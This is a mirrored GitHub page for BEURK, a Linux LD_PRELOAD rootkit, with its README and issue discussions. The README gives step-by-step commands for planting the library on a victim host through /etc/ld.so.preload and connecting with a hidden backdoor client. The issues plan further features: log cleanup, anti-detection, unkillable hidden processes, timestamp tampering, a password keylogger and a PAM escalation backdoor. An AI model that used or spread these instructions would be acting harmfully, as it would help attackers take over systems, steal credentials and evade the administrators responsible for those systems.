Giter Club home page Giter Club logo

beurk's Introduction

BEURK

Getting Started | API Documentation | Contributing | TODO List

Travis Build Ready Issues Coverage Status Jenkins Build Join the chat at https://gitter.im/unix-thrust/beurk

BEURK is an userland preload rootkit for GNU/Linux, heavily focused around anti-debugging and anti-detection.

S'ils savaient, ils vomiraient ...

- The core team -


Features

  • Hide attacker files and directories
  • Realtime log cleanup (on utmp/wtmp)
  • Anti process and login detection
  • Bypass unhide, lsof, ps, ldd, netstat analysis
  • Furtive PTY backdoor client

Upcoming features

  • ptrace(2) hooking for anti-debugging
  • libpcap hooking undermines local sniffers
  • PAM backdoor for local privilege escalation

Usage

  • Compile
    git clone https://github.com/unix-thrust/beurk.git
    cd beurk
    make
  • Install
    scp libselinux.so [email protected]:/lib/
    ssh [email protected] 'echo /lib/libselinux.so >> /etc/ld.so.preload'
  • Enjoy !
    ./client.py victim_ip:port # connect with furtive backdoor

Dependencies

The following packages are not required in order to build BEURK at the moment:

  • libpcap - to avoid local sniffing
  • libpam - for local PAM backdoor
  • libssl - for encrypted backdoor connection

Example on debian:

    apt-get install libpcap-dev libpam-dev libssl-dev

Waffle metrics

NOTE: BEURK is a recursive acronym for BEURK Experimental Unix Root Kit


beurk's People

Contributors

chqrly avatar evilpan avatar jagu-sayan avatar mzap avatar nil0x42 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

beurk's Issues

BSD compat

Since there is no RTLD_NEXT available on BSD, we need to find a workaround.

ss connections hiding

ss output is not handled properly as it doesn't relay on /proc but based on netlink

Hidden files can be leaked through symlinks

Problem:

Running ln -s <HIDDEN_FILE> <FOO>, allows one to
leak hidden file's content (cf /etc/ld.so.preload).

Solution:

When calling open(2) (or equivalent), eventual symlinks shall be followed
by hand, checking for eventual hidden files on it.
This way, ENOENT or replacement file can be returned in place of
the hidden file.

Example:

  • What user think he does:
ln -s /etc/ld.so.preload ~/tutu
ls -l ~/tutu` tutu -> /etc/ld.so.preload

lrwxr-xr-x 1 user group 64 Feb 25 00:57 ~/tutu -> /etc/ld.so.preload

  • What is really done:
ln -s /etc/${PREFIX}ld.so.preload ~/tutu
ls -l ~/tutu` tutu -> /etc/${PREFIX}ld.so.preload

lrwxr-xr-x 1 user group 64 Feb 25 00:57 ~/tutu -> /etc/${PREFIX}ld.so.preload

NOTES:

  • This technique makes it potentially impossible to
    manually uninstall the rootkit so we need to include a remover.
  • We need to manage any type of files (directories, files, ...)
  • If ld.so.preload exists to install, backup the file,
    and realize the following senario:

old preload file

/opt/lib64/blabla.so
/opt/lib64/debug.so

real preload file after

/opt/lib64/blabla.so
/opt/lib64/debug.so
/lib/libselinux.so
*(just backup old file if exists, and append our evil lib AFTER)*

hooking on kill(2) function

In addition to hiding processes, it must be unkillable.

If the victim kills (kill(2)) a random process which is the pid of the hidden process (you never know).
kill hooking return -1 and errno is set to [EINVAL] (sig is not a valid, supported signal number).

example :

attacker:

$ ps aux | grep tutu
beurk 18711 0.0 0.0 2637495 536 s000 R+ 9:09PM 0:00.00 vim tutu

victim:

$ kill -9 18711
kill: kill 18711 failed: no such process

hooking on chmod() and fchmodat()

those functions should be hooked in order to check if path file is_hidden() or if is_ld_preload_file().
NOTE: all related quick and functionnal tests should be present in the pull request.

Still need make re ?

With make dep, the usage of make re is obsolete.
One disadvantage : we need to do a make dep every time we add a header file in a *.c file (rare).

hooking on rename(), renameat() and renameat2()

those functions should be hooked in order to check if path file is_hidden() or if is_ld_preload_file().
NOTE: all related quick and functionnal tests should be present in the pull request.

restore atime/mtime after writing to file

ti handle this, we could keep a gloal array of stat(2) structs as long as a file is opened,
then restore file atime/mtime on each write(2) or close(2) (write seems better).

of course, this feature must be enabled only for attacker (IS_ATTACKER)

NOTE: we must take into account the fact that the file could be opened concurently by some processes, loosing stat() information. For example, process P1 opens file F for write, then P2 opens F the same way. If P2 writes or closes the file BEFORE P1, it could be a problem that MUST be handled properly.

hooking on mkdir(), mkdirat()

those functions should be hooked in order to check if path file is_hidden() or if is_ld_preload_file().
NOTE: all related quick and functionnal tests should be present in the pull request.

handle remote terminal size on client

our client is actually a simple raw tty i/o loop,
the remote terminal is not aware of client tty size.

we might implement some kind of protocol in order to transmit SIGWINCH
and update remote tty size in real time.

Is `tests/core/unit-tests/` designed to replace core/hooks ?

if tests/core/unit-tests/ is designed to test both hooks and internal api functions, then we need to update
tests/core/check_needed_unit_tests.sh.

if tests/core/unit-tests/ is designed to only test internal api functions, then it might be better to rename it to something like tests/core/internal-api/

anyway, something should be done about it

@mzap, what do you think about it ?

vagrant provision infect the VM

We doesn't want this behavior.
We want infect the VM only when we launch the provision with infect tag (ansible).
This is why we use sudo when we do a make distclean in ./utils/jenkins-tests.sh

fopen hooking maybe useless

assuming that fopen(3) calls open(2) internally, it might be useless to explicitly hook on fopen.

exemple :

int             main() {
        fopen("main.c", "r");
        return 0;
}
vagrant@vagrant:~/test$ strace ./test 2>&1 | grep open
open("/etc/ld.so.cache", O_RDONLY)      = 4
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY) = 4
open("main.c", O_RDONLY)                = -1 ENOENT (No such file or directory)

client.py mistype

Hey guys,

There's a mistake in clien.py which causes socket bind(2) to remote address but shows Connection Refused error. Here is how I fix it:

diff --git a/client.py b/client.py
index 72c82d2..9565746 100755
--- a/client.py
+++ b/client.py
@@ -25,14 +25,14 @@ class Client:
         try:
             self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
-            self.s.bind((rhost, bport))
+            self.s.bind(('0.0.0.0', bport))
             self.s.connect((rhost, rport))
         except socket.gaierror:
             self._netfail("Socket error")
         except OverflowError:
             self._netfail("Bind error")
-        except:
-            self._netfail("Connection refused")
+        except Exception as e:
+            self._netfail(str(e))

`make coverage` incompatible with `clang` compiler

steps to reproduce:

CC=clang make coverage

rm -f -r obj/
rm -f libselinux.so
rm -f src/config.c includes/config.h
./reconfigure beurk.conf
./reconfigure: 'includes/config.h' correctly created
./reconfigure: 'src/config.c' correctly created
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/init.c -o obj/init.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/config.c -o obj/config.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/cleanup_login_records.c -o obj/cleanup_login_records.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/debug.c -o obj/debug.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/drop_shell_backdoor.c -o obj/drop_shell_backdoor.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/is_hidden_file.c -o obj/is_hidden_file.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hide_tcp_ports.c -o obj/hide_tcp_ports.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/is_procnet.c -o obj/is_procnet.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/is_attacker.c -o obj/is_attacker.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/access.c -o obj/hooks/access.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/rmdir.c -o obj/hooks/rmdir.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/fopen.c -o obj/hooks/fopen.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/fopen64.c -o obj/hooks/fopen64.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/readdir.c -o obj/hooks/readdir.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/readdir64.c -o obj/hooks/readdir64.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/lstat.c -o obj/hooks/lstat.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/__lxstat.c -o obj/hooks/__lxstat.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/lstat64.c -o obj/hooks/lstat64.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/__lxstat64.c -o obj/hooks/__lxstat64.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/open.c -o obj/hooks/open.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/link.c -o obj/hooks/link.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/unlink.c -o obj/hooks/unlink.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/unlinkat.c -o obj/hooks/unlinkat.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/stat.c -o obj/hooks/stat.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/__xstat.c -o obj/hooks/__xstat.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/stat64.c -o obj/hooks/stat64.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/__xstat64.c -o obj/hooks/__xstat64.o
clang -Iincludes -Wall -Wextra -Winline -Wunknown-pragmas -D_GNU_SOURCE -fprofile-arcs -ftest-coverage -fPIC -g -O0 -c src/hooks/accept.c -o obj/hooks/accept.o
clang -fPIC -shared -Wl,-soname,libselinux.so  obj/init.o  obj/config.o  obj/cleanup_login_records.o  obj/debug.o  obj/drop_shell_backdoor.o  obj/is_hidden_file.o  obj/hide_tcp_ports.o  obj/is_procnet.o  obj/is_attacker.o  obj/hooks/access.o  obj/hooks/rmdir.o  obj/hooks/fopen.o  obj/hooks/fopen64.o  obj/hooks/readdir.o  obj/hooks/readdir64.o  obj/hooks/lstat.o  obj/hooks/__lxstat.o  obj/hooks/lstat64.o  obj/hooks/__lxstat64.o  obj/hooks/open.o  obj/hooks/link.o  obj/hooks/unlink.o  obj/hooks/unlinkat.o  obj/hooks/stat.o  obj/hooks/__xstat.o  obj/hooks/stat64.o  obj/hooks/__xstat64.o  obj/hooks/accept.o \
                -lc -ldl -lutil -lpam -lgcov -o libselinux.so
strip --strip-unneeded -R .note -R .comment libselinux.so
./utils/run-tests.sh tests/core/unit-tests
[*] ===============================================================================
[*] RUNNING tests/core/unit-tests/run.sh ...
[*] ===============================================================================

ROOTDIR=$(git rev-parse --show-toplevel)
git rev-parse --show-toplevel)
git rev-parse --show-toplevel

UNIT_TESTS="tests/core/unit-tests"

make -C ${ROOTDIR}/${UNIT_TESTS}
make[1]: Entering directory `/home/nil/dev/beurk/tests/core/unit-tests'
clang -I/home/nil/dev/beurk/includes -Wall -Wextra -c /home/nil/dev/beurk/src/config.c -o objs/config.o
clang objs/cleanup_login_records.o objs/drop_shell_backdoor.o objs/hide_tcp_ports.o objs/is_attacker.o objs/is_hidden_file.o objs/is_procnet.o objs/main.o objs/open.o objs/config.o -L/home/nil/dev/beurk -lselinux -o unit-tests
/home/nil/dev/beurk/libselinux.so: undefined reference to `llvm_gcda_end_file'
/home/nil/dev/beurk/libselinux.so: undefined reference to `llvm_gcda_increment_indirect_counter'
/home/nil/dev/beurk/libselinux.so: undefined reference to `llvm_gcda_emit_arcs'
/home/nil/dev/beurk/libselinux.so: undefined reference to `llvm_gcda_emit_function'
/home/nil/dev/beurk/libselinux.so: undefined reference to `llvm_gcda_start_file'
clang: error: linker command failed with exit code 1 (use -v to see invocation)
make[1]: *** [unit-tests] Error 1
make[1]: Leaving directory `/home/nil/dev/beurk/tests/core/unit-tests'
[-] tests/core/unit-tests/run.sh failed !



[-] ============ TESTS SUMMARY ====================================================
[-] Some tests (1/1) failed!
[-] ===============================================================================

make: *** [coverage] Error 1

Keylogger

A keylogger would be a nice feature for this rootkit for capturing user activity such as entered passwords. Captured data can be saved to a hidden logfile.

cleaning log infos on /var/log/lastlog

hooking on chdir(2) function

In addition to hiding directory, chdir(2) must not open them.

example :

attacker:

$ ls
__HIDDEN_FILE__toto

victim:

$ cd __HIDDEN_FILE__toto`
cd: no such file or directory: __HIDDEN_FILE__toto

be compatible with freebsd make

our Makefile is currently only available with Gnu makefile implementation.

need to check if it is possible to be compatible with both implementations on our makefile.

if not, then we'll consider adding gmake on freebsd specific dependencies

hooking on mount()

those functions should be hooked in order to check if path file is_hidden() or if is_ld_preload_file().
NOTE: all related quick and functionnal tests should be present in the pull request.

Missing ./build?

Pardon my ignorance - but I'm looking at the wiki which says to ./build beurk.conf - but there is no build file in the directory. Am I missing some requirements?

support backdoor connection through ipv6

we might want to implement/support connexion over ipv6 for remote servers without an ipv4 address.

for that, we need to check if the client can connect through ipv6, and also implement tcp/ipv6 for hidding in pcap_loop() hook (libpcap).

Client timeout option

Since #71 introduces a timeout, an optional argument to set it would be nice (In case of slow connections).

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.